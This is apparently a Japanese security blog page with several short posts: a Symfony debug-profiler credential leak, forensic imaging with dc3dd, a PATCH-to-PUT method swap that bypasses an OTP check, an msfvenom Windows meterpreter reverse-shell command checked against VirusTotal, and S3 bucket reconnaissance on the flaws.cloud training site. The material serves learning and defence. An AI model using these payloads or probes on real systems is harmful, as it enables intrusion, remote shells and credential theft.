Shikata Ga Nai

Private? There is no such things.

How I was able to find multiple vulnerabilities of a Symfony Web Framework web applicationを訳してみた

Hello there, ('ω')ノ

 

Symfony WebFrameworkWebアプリケーションの複数の脆弱性を見つけた方法を。

 

脆弱性:

 デバッグモードが有効

 情報開示

 

記事:

 https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144

 

今回は、SymfonyWebFrameworkを使用するWebアプリケーションで。

複数の脆弱性を見つけた方法を説明することに。

 

Symfony Webフレームワークには、SymfonyProfilerと呼ばれる機能があって。

このプロファイラコンポーネントは。

デバッグモードが有効になっている場合にのみ使用できて。

Symfony Webフレームワークははるかに安全ですが、デバッグモードを有効にすると。

このフレームワークは非常に脆弱になって。

symfony Webプロファイラーコンポーネントは。

攻撃者が悪用できるWebアプリケーションの機密情報を公開するので。

 

なぜ開発者はデバッグコンポーネントを有効にするのかというと。

デバッグコンポーネントは、PHPコードのデバッグを容易にするツールを提供して。

PHPコードのデバッグに役立ついくつかのツールを提供して。

このコンポーネントは、開発段階で開発者を大いに助け。

Symfonyはデフォルトでdev、test、prod(本番)と呼ばれる3つの環境を提供して。

Symfonyは、実稼働環境でプロファイラツールを無効にすることをお勧めして。

しかし、開発者はそれを忘れてWebアプリケーションを脆弱にすることがあって。


脆弱性を見つけた方法(ステップバイステップ):

ターゲットサイトが、https://redacted.comであると仮定すると。

ターゲットのサブドメイン(https://sub.redacted.com)でこの脆弱性を発見して。

最初に、サブドメインを参照して、使用されているWebテクノロジーを確認して。

Wappalyzerアドオンを使用して、https://sub.redacted.comが。

「Symfony」Webフレームワークを使用していることを発見して。

 

 

次に、資産発見フェーズに進むことに。

最初は、FFUFを使用してディレクトリをファズしようとして。

「app_dev.php」という興味深いファイルを見つけて。

Symfonyのデバッグモードが有効になっている可能性があることを示していて。

 

 

 

ブラウザで 「https://sub.redacted.com/app_dev.php」を閲覧するたびに。

デバッグモードが有効になっていて。

Symfonyプロファイラにアクセスするためのプロファイラトークンを取得して。

また、phpinfoファイルの場所を取得して。

 

 

 

今までのところ、重大度は中程度で。

Symfonyのデバッグツールバーでは、機密情報を公開する可能性のある。

ファイルを読み取ることができることを知っていたので。

もっと掘り下げてみることに。

 

いくつかの記事を調べて、SymfonyWebフレームワークのドキュメントを読んで。

Symfonyバージョン3.4データベースのデフォルトの設定ファイルの場所が見つかって。

それは、app/config/parameters.ymlで。


下記は、Symfonyバージョン3.4設定ドキュメントで。

 https://symfony.com/doc/3.4/best_practices/configuration.html

 

そこで、設定ファイルとブームを開こうとして。

データベースとメールサーバのクレデンシャルが見つかって。

 



影響:

公開された資格情報の影響は、データ侵害、システムの侵害、ブランドの評判の低下。

および経済的損失に使用される可能性があるため、さまざまな結果をもたらして。


緩和:

APP_DEBUGをfalseに設定して、デバッグモードを無効にして。

実稼働環境では、デバッグモードを無効にする必要があって。


ffuf.sh


おまけ:

Symfony Webフレームワークを使用するWebアプリケーションを見つけた場合は。

デバッグモードとプロファイラを確認することを忘れないで。

開発者が無効にするのを忘れている可能性があって。

 

 https://example.com/_profiler

 https://example.com/app_dev.php/_profiler

 https://example.com/app_dev.php

 

Best regards, (^^ゞ

フォレンジック取得のデータダンプにふれてみた

Hello there, ('ω')ノ

 

フォレンジック取得とハッシュに使用されるツールで。

国防総省サイバー犯罪センターのデータダンプ(dc3dd)があって。

dc3ddは、データダンプ(DD)ツールのパッチで。

なので、DDが更新されるたびに定期的に更新されて。

他のツールでは、dcflddと呼ばれるものもあり。

 

 sudo apt install dc3dd

 

下記が、dc3ddで使用される使用可能なパラメータで。

 dc3dd --help

 

if:イメージングするデバイスである入力ファイル

hash:整合性検証に使用するハッシュアルゴリズムのタイプ

log:デバイスと取得の詳細をログに記録するログファイル

of:dc3ddによって作成されたフォレンジックイメージの出力ファイル名

 

 dc3dd if=/dev/sdb hash=md5 log=dc3ddlog of=usb.dd

 

dc3ddを使用してフォレンジックイメージングを開始する前に。

ドライブとパーティションの確認を。

 sudo fdisk -l

 

プライマリパーティションは、sda1で。

Extendedおよびスワップパーティションが、sda2およびsda5で。

 

 

Best regards, (^^ゞ

How I messed up my own profile dataを訳してみた

Hello there, ('ω')ノ

 

自分のプロファイルデータを台無しにした方法を。

 

脆弱性:

 承認の欠陥

 

記事:

 https://medium.com/@himmat1005/how-i-messed-up-my-own-profile-data-94a4b09cb54c

 

今回は、Webアプリケーションの1つをテストしているときに。

経験したことの1つを共有することに。

 

1.ウェブサイトにログイン⇨Go to profile⇨Change ‘username’ field (test_user)⇨

 submit⇨BurpSuitでリクエストをインターセプトして転送すると。

 次のようにリクエストとレスポンスが表示されて。

 

リクエスト :

PATCH /redacted/updateProfile

……

{‘user’:’test_user’}

 

レスポンス :

HTTP/1.1 200 OK

{‘user’:’test_user’,’number’:’9999999999',’email’:’test@gmail.com’,’first’:’test’,’last’:’user’….}

 

2.ここで、Webサイトの機能に従ってユーザがPROFILEセクションから。

 電話番号を変更する場合は、最初にOTPを送信してから送信する必要があって。

 

3.なので、次のリクエストを送信して、/updateProfileAPIを使用して。

 電話番号を直接更新することを考えて。

 

リクエスト :

PATCH /redacted/updateProfile

……

{‘user’:’test_user’,’number’:’1234567890'}

 

レスポンス :

HTTP/1.1 401 Unauthorized

…..

{‘error’,’Updating Phone-number requires an OTP paramater’}

 

4.したがって、リクエストでもOTPを送信する必要があって。

5.PUT http-methodはレコードの更新にも使用されるため。

 リクエストでPATCH http-method をPUTに変更し。

 Burp Suiteからそのリクエストを転送すると。

 

リクエスト :

PUT /redacted/updateProfile

……

{‘user’:’test_user’,’number’:’1234567890'}

 

レスポンス :

HTTP/1.1 200 OK

{‘username’:’test_user’,’number’:’1234567890',’email’:’test@gmail.com’,’first’:’test’,’last’:’user’….}

 

6.この反応を見て、うまくいきそうにおもったのですが。

 

7.ログアウトして自分のユーザ名で再度ログインするとページ全体が壊れていて。

 自分の名前やその他のプロファイル情報も見ることができず。

 すべてのフィールドデータのいたるところにUNDEFINEDが表示されていて。

 

うまくいかなかった原因として、PATCH http-methodを使用してデータを送信すると。

サーバはその特定のデータ、またはパラメータのみを更新することに気付いて。

PATCHリクエストに以下の本文がある場合、「username」のみが更新されて。

 

リクエスト本文:

{‘username’:’test_user’}

 

ただし、PUT http-methodを使用してデータを送信する場合、サーバは。

リクエスト本文に記載されている特定のパラメータではなく。

ほとんどの場合、レコード全体を更新するためにそれを使用して。

(注:API構成にも依存しますが、ほとんどの場合発生して)。

 

つまり、以下のリクエスト本文を送信すると。

リクエストとともに送信されなかったすべてのパラメータ。

(たとえば、「first」、「last」、「email」など)にNULLを入力することで。

ユーザーのレコード全体が更新され、プロファイルにUNDEFINEDが表示されて。

 

リクエスト本文:

{‘username’:’test_user’,’number’:’1234567890’}

 

PUT⇨PATCHもしくは、PATCH⇨PUTへの変更は。

いくつかの制限を回避するのに役立つ場合があって。

PUTを使用すると、レコード全体が更新されるため。

特定のユーザに関連するすべてのデータが混乱する可能性があることに注意して。

 

Best regards, (^^ゞ

基礎レベルで脅威検出システムを回避するための手法をためしてみた

Hello there, ('ω')ノ

 

まずは、攻撃者となるKali LinuxのIPアドレスの確認から。

 

 

今回は、Windowsのリバースシェルペイロードを作成することに。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.24 LPORT=4444 -f exe -o payload.exe

 

 

作成したペイロードを下記へアップロードして、検出ステータスを確認することに。

 https://www.virustotal.com/gui/home/upload

 

 

 

ウイルス対策ベンダーの51のウイルス対策センサーが。

作成したペイロードファイル内の潜在的な脅威を検出できたので。

これらの対策ソフトが実行されているターゲットで。

このペイロードをアップロードして実行すると。

ブロックされる可能性が高くなるというわけで。

 

 

Best regards, (^^ゞ

AWS S3バケットをスキャンしてみた

Hello there, ('ω')ノ

 

まずは、AWS S3バケットをスキャンするツールのインストールから。

 sudo pip3 install s3scanner 

 

 

AWSのコマンドライン機能の設定を。

 aws configure

aws configureaws /home/kali/Pictures/Screenshot_2022-0

 

WebサイトのホスティングサーバのIPアドレスを取得して。

今回のターゲットは学習支援サイトのFLAWSを。

 nslookup

 flaws.cloud

 

 

取得したIPアドレスをマップすると。

 set type=ptr

 52.218.178.50

 

AWS S3バケットでホストされていると判断できて。

バケット名は、s3-websiteで、リージョンは、us-west-2で。

 

 

取得したURLにアクセスしてみると同じで。

 

 

Best regards, (^^ゞ